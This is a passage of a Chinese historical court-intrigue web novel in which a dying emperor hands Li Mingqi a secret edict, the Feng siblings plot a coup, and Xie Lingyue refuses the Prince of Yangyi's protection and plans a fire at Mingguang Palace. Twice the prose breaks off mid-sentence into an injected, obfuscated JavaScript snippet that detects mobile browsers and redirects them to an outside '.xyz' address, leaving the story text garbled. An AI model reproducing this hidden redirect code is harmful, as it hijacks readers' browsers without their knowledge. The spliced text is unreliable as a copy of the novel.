此时谢灵越主动去找阳邑王,他自然无不依从,双腿一夹马肚,在谢灵越前面引路。 “喂,你怎么不拦着点灵越?” 李珏冲萧重照大喊。 见萧重照的速度比谢灵越的速度还要快,他明白了,这是谢慎之的意思。 心比比干多一窍的谢九才不相信他与他父王,宁愿把谢灵越的安危托付给他曾经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14019724|148360||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 恨之入骨的父亲,也不信任他那随时会反水的父王。 “哎,等一下,我跟你们一起去!” 李珏催马去追谢灵越,“灵越,别把我留在这啊。最近这么乱,咱们一起走,人多才安全。” · 彼时帝王所居的明光宫已不能叫安全。 封余命禁卫围了明光宫,不许任何人出入。 原本该拱卫帝王的禁卫军,此时竟成了封余抵在帝王心脏处的一柄利刃。 封余随时会动手,李鸣岐按剑而立,寸步不离守在帝王身侧,警惕看着殿外往来巡逻的封余的兵士。 “咳咳咳——” 帝王咳嗽不止,从昏迷中醒来,“外面什么情况了?” 李鸣岐忙俯身,扶帝王起身,“逆贼封余围困明光宫,不许任何人出入。” 逆贼两字让帝王浑浊眼眸有了一丝光亮。 但周围卫士却听得心惊肉跳。 都什么时候了,还说大将军是逆贼呢? 只怕明日天一亮,大将军便是大虞朝真正的主人了。 这个时候把大将军称作逆贼,委实不是一个聪明的选择。 帝王扶着李鸣岐的手坐起身,借着昏黄烛火,打量着这个仍把自己当皇帝尊敬的少年郎。 ——他依稀记得,这是小灵越的心上人。 小丫头被谢九养得不像他阿姐,心思浅,喜怒哀乐全写在脸上,喜欢哪个人,便恨不得把世间所有的好东西捧到那人面前,单纯得不像是宫里能出来的人。 甚至就连他与阿姐约定的婚事,在她看来也不过尔尔,明里暗里与他提过好几次,说她性子骄纵,难担太子妃的重任,说这个贵女模样好,那个贵女端庄,求他再给太子选新的太子妃。 这样的话委实孩子气。 他不过是一个连自己的皇后都决定不了的傀儡皇帝,又如何去决定太子的宫妃? 可与李鸣岐相处久了,他倒也不觉得小灵越是在任意妄为了,与金陵城年轻一代的才俊相比,李鸣岐的确出色太多,甚至他的太子也远远不及他。 帝王不动声色观察着李鸣岐。 李鸣岐拿来引枕,放在帝王背后,让他靠得更舒服一些。 待帝王坐好之后,他又去斟茶,轻手轻脚送到帝王嘴边,照顾得十分周道。 “陛下,喝口茶润润喉咙。” 李鸣岐道。 帝王笑了笑,“好孩子,难为你有这份孝心。” 孝心两字出现在这里并不合时宜,但担心帝王安危的少年并未在意,只恭敬给帝王奉茶。 帝王便就着他的手,喝了半盏茶。 李鸣岐收起茶盏,取来锦帕,轻轻擦拭帝王嘴角。 “陛下切勿灰心。” 李鸣岐低声道:“谢廷尉与大司空皆是栋梁之材,必不会让陛下困居于此。” “陛下且放宽心,等待他们来救便是。” 李鸣岐视死如归,“臣纵是拼得一死,也会护陛下周全。” 帝王轻摇头,“你还年轻,不必为朕送命。” 帝王咳嗽着,慢慢从自己被褥下取出一道明黄绢帛。 烛火昏黄得很,他的被褥与寝衣又是黄色系,那道明黄绢帛被他拿在手里倒也不突兀,如果不是离得近,便根本不会被发现。 “陛下?” 李鸣岐眼皮轻轻一跳。 帝王把绢帛塞到李鸣岐手里。 年岁不过四十,但帝王的声音却极老,“封余狼子野心,朕怕是活不过今天晚上了。” “不止朕,只怕朕的两个孩子也活不成了。” “朕唯一的指望在九郎身上。” 帝王低低叹息,“希望他能匡扶朝政,诛杀国贼。” 他将密诏摊开一角。 那是托孤谢慎之的诏书,但册立储君的位置却空着,仿佛等着人去写。 帝王深深地看向李鸣岐,“鸣岐,我记得你也是宗室之后?” 李鸣岐呼吸陡然一紧。 · 谢慎之一行人逼进明光宫。 但又在临近明光宫时放慢速度,将自己藏身于离明光宫不远处的密林里。 “府君,您要的箭。” 心腹取出弩/箭。 箭头闪着幽冷寒芒,是一支淬了毒的箭。 但箭羽之上,标注的却不是代表着谢氏的小字,而是小小的代表着东海王的小字。 借刀杀人,祸水东引。 府君如果想杀一个人,又怎会让那人的死与自己沾上关系? 心腹余光去瞧谢慎之。 男人手指轻抚箭羽,眸光锐利如观武库森森,但见矛戟寒芒在前。 见血封喉的毒箭似乎并不能让他满意,他想要的是将那人千刀万剐,挫骨扬灰。 心腹眼皮狠狠一跳。 李鸣岐究竟做了何事,竟让府君对其恨意深入骨髓? 甚至哪怕冒着与县君决裂的风险,也要将其射杀在瞬息万变的兵变里? 第18章 第十八章 李鸣岐心如鼓擂,“臣……是。” 他的声音极缓慢,也极坚定。生为李氏之后,是他一生之中最为骄傲的事情。 帝王声音温和,像是在话家常,“你是哪一支的?” “臣乃宣帝之后,郑王之玄孙。”李鸣岐道:“宣和九年,北狄入侵,臣的曾祖父战死疆场,臣这一脉就此败落。” 帝王笑了起来,“原来不止是宗室出身,还是将门之后。” 沉吟片刻算了算,帝王又笑,“如果论起辈分,鸣岐,你需喊我一声皇伯父。”“好孩子,叫声伯父让朕听听。”帝王笑道。 李鸣岐攥了下掌心,“皇……伯父。” “哎。” 帝王眉眼弯弯,伸手揉了下少年额发,“乖孩子。” 李鸣岐心头一酸。 他知帝王已走到山穷水尽的地步,如若不然,又怎会将社稷之重托付于他? 可叹大虞百年基业,没有丧于残暴嗜杀的狄戎,而是丧于奸臣弄权之上! “陛下,您一定会没事的。”李鸣岐抬头看着帝王早生华发的容颜,不由得悲从中来。 帝王倒早已习惯。 自大虞避祸南迁定都金陵后,便再也不复当年的盛世景象,纵然阿姐有气吞山河之势,其兵锋也不过遥指洛阳,至死不曾恢复中华,还于洛阳旧都。 大虞气数已尽。能苟延残喘至今,已是十分不易。 作为一个从来身不由己的傀儡,他应该审时度势,效仿尧舜行禅让之事。 可心里到底是有些不甘心,这是他先辈们九死一生打下来的江山万里,是阿姐熬到油尽灯枯也要坚守的社稷,他怎能为保全自己而将祖宗基业拱手相送? 他虽无才,但也不愿做乐不思蜀的安乐公。 “怎么又叫朕陛下了?”帝王拍了拍李鸣岐肩膀,“鸣岐,要唤朕皇伯父。” 李鸣岐便只好道:“是,皇伯父。” “这便对了。” 帝王和蔼说道:“咱们是一家人,你不必与朕这般见外。” “你没有辜负你的出身,你的骑射功夫是羽林卫里最好的,你对得起你的姓氏与祖先。”帝王轻轻捏了捏李鸣岐的甲胄。 那是羽林卫的明光铠,寻常弩/箭射不穿。他便拿着自己写好的密诏,将明黄色的绢帛塞在少年的护心镜之后。 “如果可以的话,你不要让九郎独木难支,让他一个人去面对那些逆贼。”帝王道:“好孩子,大虞的未来要靠你和九郎了。” 李鸣岐心中一痛,长跪不起,“陛下——” “怎么又跪这儿了?” 帝王微笑将少年搀起,“鸣岐,不要辜负朕的期望,也不要辜负你的名字。” “凤出岐山,一鸣惊人。” 帝王轻轻拍着少年手背,似将万钧江山相托,“你的名字寓意极好,定能庇佑大虞江山不被奸佞所得。” “奸佞?” 帝王与李鸣岐的对话传到封皇后的耳中,封皇后悠悠笑了起来,“如果没有兄长这个奸佞抵御狄戎,这九州天下还不知道几人称王几人称帝呢。”封皇后道:“兄长,你为人家出生入死,人家却还觉得你穷兵黩武弄权祸国呢。” “天家李氏素来薄凉。” 封余不甚在意,他在意的是另外一件事,“老头只跟李鸣岐说了这些?有没有给他其他东西?” “没有。” 身着羽林卫衣服的暗桩摇了摇头,“陛下言语之中尽是招揽之意,还亲自擦拭李鸣岐的盔甲,以示自己的礼贤下士。” 封皇后讥讽一笑,“老头也是可怜,如今孤家寡人到连李鸣岐这种人都极尽拉拢了。” “以前他高高在上,目下无尘,莫说李鸣岐了,只怕连你我兄妹他都不放在眼里,又怎会将姿态放低到给一个小小的羽林卫擦拭盔甲的地步?” “兄长,你我无忧矣。”封皇后轻摇腰扇,笑得花枝乱颤。 封余眼睛轻眯。 他左眼已瞎,如今只剩一只右眼,在琉璃宫灯的烛火映照下,左眼眼罩上的蟠龙张牙舞爪,让他本就摄人的气质更显嗜血。 封余道:“谢九东海王仍在,不可掉以轻心。” “东海王不过莽夫罢了,使些手段便能除去了,兄长不必担心。”封皇后道:“此事交给我来办,定不会让他威胁到你我兄妹。” “唯一难办的是谢九。” 封皇后拿着腰扇,轻轻敲着自己的掌心,“此人权谋心机绝不在兄长之下,如果他殊死抵抗,只怕兄长大业难成。” “但此人并非铁桶一块。” 封皇后道:“一来这厮忠君爱国,二来他将昌平那个小丫头看得看重,只要拿捏了昌平,不愁他不束手就擒。” 封皇后十分惋惜,“可惜兄长糊涂,竟先对昌平下了手,白白将他推到东海王那里。”“如若不然,他将会是咱们的一步好棋。” “谢九素有大志,绝不可能容忍你我兄妹二人把持朝政。”封余道:“与其等他羽翼丰满再除他,倒不如趁他根基未稳便下手,省得日后成为我们的心腹大患。” 封皇后笑了一下,“兄长此话倒也有几分道理 。”“既如此,那便一并除了,别给他韬光养晦的机会。” “但谢九功夫极好,麾下亲卫又极忠心,旁人若去,只怕未必会是他的对手。”封皇后道:“除谢九一事,需兄长亲自动手。” 封余微颔首,“明光宫的事情便交给你了。” “兄长放心。” 封皇后妩媚一笑。 是夜,封余领亲卫一千,截杀谢慎之。与此同时,封皇后又一次加强对明光宫的防卫。 “李鸣岐对本宫无礼,杖责五十,枭首示众。”封皇后冷声吩咐。 老不死的想拉拢李鸣岐,那也要看她给不给他这个机会。李鸣岐被禁卫从明光宫中拖出。 巡视的禁卫往来不停。寒甲映照长矛,锐利而冰冷,是杀人于无形的铁与霜。 李鸣岐面无表情任人拖着他。 但当斥卫飞马传信之际,绑着双手的绳索被他用藏于暗处的匕首割开,他反握匕首,取禁卫性命,随即飞身上马,将马背上的斥卫一脚踹下,自己抢了战马,往官门处飞奔。 “抓住他!” 巡逻的禁卫大喊,“别让李鸣岐跑了!” 弩/箭如雨落下。 阳邑王的住所并不难找。 他虽闲赋在家,并无官职,但曾经也是闪耀时的将星,颇受世人推崇,故而他也在这次的春措队伍中,只是久不问朝政,分配给他的宫苑离天子所在的明光盲有些远,谢灵越与李珏骑马走了好会 儿,才来到他的宫苑。 “我家王爷病了,不见客。”亲卫见是谢灵越前来拜访,连通传都不通传,便直接下逐客令。 开什么玩笑?他家王爷与长公主是你死我活的矛盾,怎会见长公主的独女? 李珏叹了口气,“我就说吧,阳邑王肯定不会见你的。” “谁说阳邑王不愿意见我?”谢灵越下巴微抬,声音骄纵“一个拦路小鬼罢了,他的话也能信?” 谢灵越上下打量着眼前的宫苑,“指不定现在阳邑王在里面茶饭不思,愁自己的一腔抱负无处施展呢。” 华林园是皇家园林,里面宫苑极多。巍峨威严的明光宫为帝王居所,明镜苑、清凉殿等各不相同,或清新雅致,或奢靡铺张,各有各的风采风华。 阳邑王居住的渡秋池便是一个偏清雅的宫苑。 虽然地方偏僻些,但里面引了活水,又以假山亭榭来点缀,在众多宫苑里别有一番风味,故名渡秋池。 谢灵越骑马围着渡秋池绕了一圈,发现这里巡逻的卫士并不多,一个久不问朝政的闲散王爷,并不值得禁卫军们多留心,在这里巡逻的大多是王府的亲兵。但渡秋池占地颇广,闲散王爷的亲兵又十分有限,能被带进华林园的更是屈指可数,远远比不上其他地方的三步一岗五步—哨。 她的机会这不就来了吗? 谢灵越找了一处矮矮的宫墙,压低声音对李珏道:“阿珏,咱们翻墙进去。” “……都什么时候了,还想着翻墙玩呢?” 李珏有些无语,“灵越,阳邑王跟你母亲有仇,你这么偷偷摸摸进去,指不定会被他弄死在里面。” “我不信他会杀我。” 谢灵越指了下萧重照,“重照得了我九叔的吩咐,说如果我们走投无路的话,可以去找阳邑王。” “我相信我九叔,他不会看错人的。”谢灵越道:“他要我找的人,肯定不会有错。” 这是一种近乎盲目的、毫无底线的信任。 简直是把自己的性命交到自己仇人手里,苗疆之地的蛊虫都没这么厉害,能叫人对另外一个人无不依从。 “可是我们现在还没到走投无路的时候啊。”李珏撇了撇嘴,说道。 谢灵越伸手戳了下李珏额头,“封余可以随意调动上千禁卫军,我九叔与你父王才有几个人?” “……好吧。” 李珏叹了口气,只好同意,“咱们翻墙去找阳邑王。” 翻越宫墙对于两个同样养尊处优的人来讲有些吃力。好在亲卫们身手颇好,这个拉,那个拽,倒也强拖硬拽让两人翻进了进去。 “走,咱们去池水那边找阳邑王。” 谢灵越拍了拍自己身上的土,对李珏道:“阳邑王解甲归田之后无所事事,除了爱钓鱼之外,再无其他爱好。今日天气不错,他定然在钓鱼。”李珏跟在谢灵越身后,“你怎么对他这么了解?”“不算了解,就是听过几耳朵。” 谢灵越道:“他给我九叔送过自己钓的鱼,不过那都是很久之前的事情了。” 那时她阿娘去世没多久,封余以雷霆手段收缴了四叔五叔的兵权,四叔五叔被下狱,世交好友们避九叔如瘟疫,曾经炙手可热的谢府门可罗雀,自开国以来便繁荣至今的东郡谢氏摇摇欲坠。大概是金陵城的气氛着实压抑,九叔便遣人把她送到温泉山庄静养。 哪曾想庄子隔壁的御史中丞前几日刚被封余抄了家,如今的新主人是正值壮年便被迫养老的阳邑王。阳邑王闲来无事,便登门来访,送了几条他自己钓的鱼,还言他空有一身好武艺却只能用来钓鱼,着实对不起曾经教授他骑射兵法的师父。 她那时年龄虽小,但也听得出阳邑 王有联合九叔对付封余之意。阳邑王是宗室里除她阿娘之外最能打仗的将才,如果让他掌兵,那么封余便不足为惧。 这的确是个好选择。阳邑王在外为将,九叔在内执政,一文一武,共同辅政。 但九叔只冷冷瞧着阳邑王,声音冷得像是刚从冰窖里捞出来的一般,“我母亲舍去一条命也要与你和离,为的不是让我日后与你冰释前嫌,父子相认。” “阳邑王,我姓谢,东郡谢慎之。” 九叔道:“谢家满门忠烈,风骨潇潇,纵然一朝覆灭,也不会向狼心狗肺之徒低眉折腰。” “阳邑王,你找错盟友了。” 九叔将阳邑王扫地出门。连带着他提过来的鱼,一同丢了出去。 正值盛夏,鱼儿离了水,在被太阳晒得发烫的地面上不断挣扎翻滚着,在濒死中求生。 鱼儿如此,谢家亦如此。 那是谢家最艰难的时候,千钧重担压在九叔身上,但尽管如此,九叔也不曾与阳邑王联手。可现在,九叔却说若到了紧要关头,便让她去寻阳邑王的庇护,如今的情况坏到了怎样的程度,竟让九叔愿意向自己最恨的人低头? 谢灵越攥紧了身上的氅衣,“希望九叔没有看错人,阳邑王值得托付。” “那可不巧了。” 一道女声却突然从前面转角处影壁后响起,“昌平,你打错主意了,我家王爷抛妻弃子,是最让人瞧不上的狼心狗肺之辈,担不起谢廷尉的重付。” 锦衣华服的女人眉眼艳丽,扶着小侍女的手从锦鲤戏水的影壁后走出,“你有翻墙找我家王爷的功夫,倒不如去封大将军面前撒个娇。” “你是长公主的独女,封大将军看在长公主对他的知遇之恩上,未必会对你赶尽杀绝。” 谢灵越眼皮轻轻一跳。 李珏眼前一黑。 ——怎就遇到了阳邑王妃?这可是谢家死对头里的死对头! 阳邑王妃出身吴郡张氏,是他母妃的堂妹,他的表姐。阳邑王一战成名,模样又极为俊朗,是无数金陵女郎的梦中情郎,他表姐亦是其中一个。 张氏一族权倾朝野,族中女郎无一不是金陵才俊争相联姻的对象。可惜阳邑王早已娶妻生子,娶了青梅竹马的谢氏女,表姐的一番心意注定要付之东流。 但表姐的运气足够好,好到又一次狄戎南下,阳邑王领兵救援襄阳,不料自己镇守的地方去被狄戎攻取,全城惨遭屠戮,他的妻与子亦遭毒手。 阳邑王就此成了鳏夫。 又三年,表姐如愿以偿嫁给阳邑王做王妃。然后就在她刚刚为阳邑王生下他们第一个女儿的时候,原来的阳邑王妃却带着谢慎之回来了。 那时的谢慎之还不叫谢慎之,叫李瑾,是阳邑王的嫡长子。这一代的宗室子都从玉,美玉曰瑾,可见当初阳邑王为他取名时的对他的期待。 后面的故事便是一笔糊涂账。 那时谢氏一族人才凋零,全靠长公主一人支撑,而吴郡张氏却如日中天,断然不可能做小。 所以最后的结果是谢氏女与阳邑王和离,带着李瑾回归谢家,改名谢慎之,与阳邑王再无关系。而他的表姐在连丧两子之后失去生育能力,缝缝补补与阳邑王继续过日子。 杀子之仇不共戴天,表姐最不能听到的便是谢字,更别提灵越还是长公主的独女。——当年三家闹得那么难看,里面少不了长公主的推波助澜。 阳邑王已威胁皇权,长公主怎会让吴郡张氏成为他更进一步的助力?谢氏女与谢慎之是长公主花了大力气寻回来的,让阳邑王惊才绝艳的嫡子入嗣谢家,既是为了削弱阳邑王,更是为帝王为谢家再续二十年命格。 李珏扯了下谢灵越衣袖,示意她别与阳邑王妃起冲突,自己快步上前,躬身便拜,讨好笑道:“几日不见,表姐的嘴越发厉害了。” “长公主殿下薨逝前与封余闹得那么难看,封余哪还会记得长公主的知遇之恩提拔之情?”李珏道:“只怕在封余眼里,恨长公主更甚狄戎,哪会对灵越手下留情?” 李珏惯会幅度做小哄女人,殷勤上前给阳邑王妃捏着肩膀,“表姐,您大人有大量,就别因为那些陈芝麻烂谷子的旧事为难小辈了,让我跟灵越见一面王爷吧。” “少拿你对付外面女人的那一套来哄我,我不稀罕你这套。”阳邑王妃拍开李珏的手,对李珏的讨好卖乖视而不见。 李珏对谢灵越耸了耸肩,示意自己没办法。谢灵越眸光微动,俯身见礼,“见过王妃。” “呵,我担不起你的大礼。” 阳邑王妃冷笑道:“你们谢家是什么人?想谋害王嗣便谋害王嗣,哪里需要向别人见礼?” 阳邑王妃轻抚着自己平坦小腹,眼底满是怨毒,“只可惜我坏了身体,再也没有孩子让你们谋害了。” “王妃可怜,我九叔与九叔的母亲又何尝不可怜?” 谢灵越淡淡看着面前保养得极好的艳丽女子,“他们什么都没做错,只因他们的夫君父亲一战成名,被王妃看上,他们便要葬身在兵乱之中?” 谢灵越问阳邑王妃,“王妃,我九叔何辜?其母何辜?” 阳邑王妃面上一红 ,咄咄逼人的话瞬间咽回肚子里。 “王妃长在金陵,生于锦绣,一生从未见过刀戈兵乱,自然不知狄戎南下的厉害。”谢灵越道:“如若知晓,便不会兵行险招,让我九叔险些葬身在炼狱之中。” 上次九叔为她挡箭,她借着摇曳的烛火,看到了九叔身上的伤。新伤固然多,但旧伤亦触目惊心,一道几乎将他斩为两段的可怖伤痕从他肩膀蔓延到他腰间,狰狞着纪录着他曾经遭遇过什么。 “不,我没有,这不是我做的。” 阳邑王妃脸色微变,“如果我果真害了他们母子,王爷又怎会与我相敬如宾到今日?” 谢灵越抬头看阳邑王妃,“如果我九叔的母亲果真害了王妃的两个孩子,阳邑王又怎会只与她和离,而不追究她的杀子之事?” “阳邑王虽对九叔母子心存愧疚,但对王妃亦是一片真心。”谢灵越声音淡淡。 这才是让九叔母亲真正彻骨生寒的事情,她的夫君爱上了别人。 在她带着儿子挣扎求生的时候,她的夫君与别的女人花前月下。在她九死一生从狄戎的铁骑下回到金陵时,她的夫君已和别的女人生下了可爱的女儿。 当年的青梅竹马举案齐眉,在夫君的移情别恋下显得格外讽刺。而当初誓同生死的白首之约,竟只剩她自己一人在坚守,坚守成了别人眼中的笑话。 人的感情怎么可以善变至此呢?谢灵越心中一痛,攥紧了身上的氅衣。 那是九叔拢在她肩头的。 临走前,还特意帮她系紧了衣带,免得有风趁着松散的领口钻进她的身体里。 九叔待她从来是极好极体贴的—— 谢灵越肩膀微微一颤,攥着氅衣的手不由自主地哆嗦起来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14806909|148360||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 不,不是的。 九叔不是因为自身安危而让她找阳邑王,是为了她,是害怕她被封余挟持,所以要她来找阳邑王,让她寻求阳邑王的庇护!可怜她听到萧重照让她找阳邑王,还以为局势对九叔极为不利,不假思索便来了渡秋池,去求见一个九叔恨之入骨的人。 谢灵越浑身冰凉,脸上血色顷刻间褪得一干二净。——她怎能让九叔为了她向阳邑王低头?!将九叔的自尊放在地上践踏?! 她不该来的。 她根本不该来渡秋池! 听从九叔的话来找阳邑王绝对是她这辈子做的最愚蠢的事情,没有之一。 “灵越,你怎么了?”谢灵越脸色着实难看,李珏忍不住问道。 见谢灵越如此,阳邑王妃神色亦有所松动。 她已做了端阳的王妃,哪怕坏了身子,也比早早病逝的谢氏女强太多,她该知足了。谢慎之到底是端阳唯一的儿子,她不能将事情做得太绝。再者,如果不是到了十分危急的时候,昌平又怎会不惜翻墙也要来找端阳? “昌平,我让你见端阳,并不是我心中有愧,而是看在谢慎之的面子上。”阳邑王妃道:“谢慎之虽不孝,我身为他的嫡母却不能不慈,毕竟他是端阳唯一的儿子——” “九叔才不是阳邑王的儿子。” 然而她的话尚未说完,便被谢灵越打断,骄纵的小姑娘此时惨白着一张脸,以一种近似视死如归的决绝纠正她的话,“九叔姓谢,是谢家子,与阳邑王毫无干系。”这简直是蹬鼻子上脸,阳邑王妃来了气,“昌平,你什么意思?” “没什么意思。” 谢灵越微俯身,辞别阳邑王妃,“王妃,今日之事是我唐突了,你就当我从来没来过,你也没有见过我。” 谢灵越道:“我虽惜命,但还没有惜命到用我九叔的尊严来换。” “谢灵越!” 阳邑王妃脸色微变。 “表姐,您别生气,灵越被谢九宠坏了,不太会说话。”李珏见事不好,连忙打圆场。 哄完阳邑王妃,李珏又连忙压低声音与谢灵越耳语,“灵越,现在不是任性的时候。”“你好不容易才说动我表姐,这个时候放弃岂不是前功尽弃?” “那就前功尽弃。”谢灵越甩开李珏的手,转身便走。 谢灵越道:“九叔叫我来,我来了,这便够了。”“至于其他,我不想再管。” 这都什么跟什么?怎么都快见到阳邑王乐,你又突然放弃了? 李珏风中凌乱,小跑着去拉谢灵越衣袖,“灵越,我的姑奶奶,现在不是任性的时候。”“我父王还有你九叔危险得很,咱们需要阳邑王的帮助。” “九叔才不需要他的帮助。” 谢灵越咬了下后槽牙,越发觉得自己来寻阳邑王的举动愚不可及。 谢灵越道:“需要他庇护的人是我,九叔是为了我才向他低头的。”“但我宁愿与九叔同生共死,也不愿让九叔求助他最恨的人。” 李珏彻底傻眼,“灵越!”“你难道连你九叔的安危也不管了吗?” “珏儿,你让她走好了。” 阳邑王妃冷笑,“谢慎之那点人怎么可能是封余的对手?你现在让她走,还能让她赶上给谢慎之收尸。” “人多便一定会赢吗?” 阳邑王妃言辞刻薄,说话极难听,谢灵越反唇相讥,“如果人多势众便一定会贏,大虞便不 会龟缩金陵,至今不能收复中原。” 这话是讥讽吴郡张氏勾结狄戎,将城池拱手相让,阳邑王妃险些气炸,“昌平,你——” “表姐,我的亲表姐,你就少说两句吧!” 怕阳邑王妃说话再次刺激到谢灵越,李珏连忙去捂她的嘴,“谢九如果真出事了,你看阳邑王心疼不心疼?” 阳邑王妃面上一寒,甩开李珏的手,“那就让他心疼好了。”“一个妄想弑父的不孝子,难道还要他一把年龄再去为这个不孝子出生入死?” “他纵是想去,也要看我肯不肯!” 阳邑王妃拂袖而去。 ……” 这都是什么事啊?为什么脾气同样火爆的姑奶奶他要一次遇到两个? 李珏头大如斗,只好一路小跑去追谢灵越,“好吧,灵越表姐被你气走了,你说什么便是什么了。”"咱们不去找阳邑王了,你别生气了,好不好?" “我没有生她的气,只是气自己。” 谢灵越垂了垂眼,“我怎么这么笨?竟想不明白九叔让我来找阳邑王是为了我自己的安危。” 李珏道:“别这么说自己,你聪明着呢。”“只是事关谢九,你当局者迷罢了。” “你难道没发现吗?” 李珏道:“只要是谢九的话,你从来言听计从,不假思索。” “是么?” 谢灵越心里难受极了。 李珏见此,连忙哄道:“哎呀,别想了,不找阳邑王便不找吧。”“我还就不信了,如果没有他,咱们难道就赢不了封余吗?” “灵越,你向来聪明,跟你九叔一样聪明,你一定能想到新办法的。”李珏笑眯眯说道。 谢灵越抬头望天,“新办法?” 半息后,她想到了—— “阿珏,我记得你父王曾命人制作火油,用来抵御狄戎的进攻?”谢灵越灰败眼眸恢复神气。 李珏想了起来,“是有这么一件事,提炼火油的工匠还是走我的门路见的我父王。”“但是火油是武器,都在武库存着,咱们没有封余的敕令,根本进不了武库。” “再说了,武库在金陵,离咱们这太远了。”李珏道:“这一来一回的路程,足够封余把华林园翻个底朝天了。” “我知道。” 谢灵越道:“但是你跟你父王肯定带了一部分,对不对?” 李珏干笑两声,“灵越,什么事都瞒不过你,我父王的确带了一部分。” ——那是特意给你九叔准备的。 李珏道,“但是很少,不足以让咱们的人完全压制封余。” “不需要多,只需要让明光宫寝殿起火便好了。” 谢灵越道:“封皇后居寝殿,明光宫起了火,封余的人势必会忙着救火,这样李鸣岐便有机会趁乱把天子和太子他们救出来了。” “不行,灵越,这种事情风险太大了。” 李珏连连摇头,“如果李鸣岐没有救出天子,那封余便会将弑君的罪名扣在咱们头上,连借口都省得找了。” 谢灵越噗嗤—笑,“你傻啊?明光宫皆是木质结构,一但火烧起来,谁能分得出是火油引的火,还是封氏兄妹故意放的火?” “封余之心路人皆知,一但明光宫起火,别人只会觉得那是封余在借机行谋逆之事,根本不会联想到我们身上。” 谢灵越道:“再说了,火油都被封余锁在武库里,普通人根本拿不到,哪怕真查到火油上,也跟咱们没关系。” 谢灵越弯眼看着李珏,“除非你满世界嚷嚷,说你父王私藏了火油。”“私藏火油与盔甲等同谋逆,阿珏,你没那么傻吧?” “……” 谁会把这种事情说给别人听? 李珏叹了口气,“好吧,灵越,我都听你的。”李珏带着谢灵越去找东海王偷偷藏在宫苑里的火油。 如李珏所言,的确不多,甚至不够装备一支百人的队伍,一看便是特意给她九叔准备的。“我就知道你父王一肚子坏水。”谢灵越用力拧了下李珏的胳膊。 李珏疼得此牙咧嘴,“我父王是我父王,我是我。”“我对你可好着呢,不能混为一谈。” “知道你对我好,要不然我才不理你呢。”谢灵越没有好气道。 谢灵越命人取走火油。 明光宫地势颇高,易守难攻,周围有一片密林可以藏身,但谢灵越估摸着那里面藏的都是封余的人,用来埋伏她九叔的,她如果去了,便是自投罗网,她便退而求次,把人手布置在与明光宫遥遥相望的 凤阙上。 凤阙上都是封余的人。 “你们小心点,千万不能让他们发现了。”谢灵越再三嘱咐亲卫。 亲卫们微颔首,趁着夜色背负火油而去。 接下来的是等待。 羽林卫乃天子亲卫,保护天子安危是羽林卫的职责。 在李鸣歧刚被选入羽林P的时候,她便与李鸣歧讨论过明光宫的地形,哪里容易商匿刺客,哪里容易被刺客逃脱,她都与李鸣岐铺开地形图细细推演过,为的是让李鸣歧防患于未然,莫叫她遭了刺客的 暗算。 谢灵越来到与李鸣岐推演 第19章 李珏惊讶间,阳邑王已至近前,男人今年四十有二,鬓发已如蛛网泛白,但晓勇之气却不减当年,手起枪落斩断试图攻击众人的长矛,大有一夫当关万夫莫开之势。 年少成名的将军虎威犹在。 李珏瞬间便明白了自己那眼高于顶的表姐怎么就对一个有妇之夫动了心。——无他,风姿过于耀眼,他一出场,整个世界都要沦为陪衬。 到底是能生出金陵第一人的谢九的人,一把年龄还这么英姿勃发。且身上毫无谢九的阴鸷之气,哪怕被打压多年,他的眉宇之间依旧是明朗的锐气,是真正的渊亭岳峙,天塌下来他都能撑得起。 人比人气死人,货比货得扔。 看看所向披靡的阳邑王,再看看他那醉心权术但在战场只会临阵而逃的父王,他立刻就原谅了自己处处比不上谢九的事实。 谢九的父亲是谁?他的父亲又是谁?父亲都被人压一头,儿子被人压两头压三头乃至压个四五六七八九头不是很正常的事情吗? 李珏心里平衡极了,忍疼向阳邑王道谢:“多谢王叔相救。” 谢灵越虽极不喜阳邑王私事的混乱,但此时他来相助,她没有冷脸以对的道理,只是不如李珏那般热情,只在马背上稍稍欠身,道了一声,“多谢王舅。” “多谢阳邑王仗义相助!” 李鸣岐大喜,朗声道谢。 成大事者不拘小节。眼下正是用人之际,他断然不会因为阳邑王的私事而对阳邑王横眉以对。 "不必道谢,都是自家人。" 阳邑王道。 自家人三个字让谢灵越眉头微不可查地蹙了一下。 上了年龄的将军心细如发,敏锐察觉到谢灵越对他的淡淡疏离,阳邑王面色如常,并不多话,只问李珏道:“阿珏,你父王何在?”但顿了顿,又补一句,"是否与瑾儿在一起?" 李瑾,谢慎之曾经的名字。 谢灵越眼皮一跳,手指蓦地攥紧了马缰。 “我父王与谢九应该是在一起的吧?”李珏对这件事情并不清楚,“方才是谢九先走的,没过多久,我父王便追了过去,但具体去了哪,我却不大清楚。” 阳邑王剑眉微皱。 "既如此,你们便先跟我走。"阳邑王斟酌片刻,道:“我带你们先找个安全的地方躲起来,待瑾儿的事情了结之后,再传信让他来寻你们。” 李鸣岐立刻点头,“甚好,一切全听王爷的安排。” 这无疑是最好的选择。他们的人手远远不及封余,一但封余下狠心除掉他们,等待他们的只有死路一条。 但是如果阳邑王在身边,那就不一样了。这位王爷极善用兵,且骁勇异常,哪怕不能带领他们反杀封余,也能在兵荒马乱之际保住他们的性命。 但话音刚落,余光便瞥见一旁的谢灵越抿着嘴角,脸上的表情算不得好。于是他想起来了,灵越与谢九关系极好,心里大抵是瞧不上阳邑王抛妻弃子的做派的。 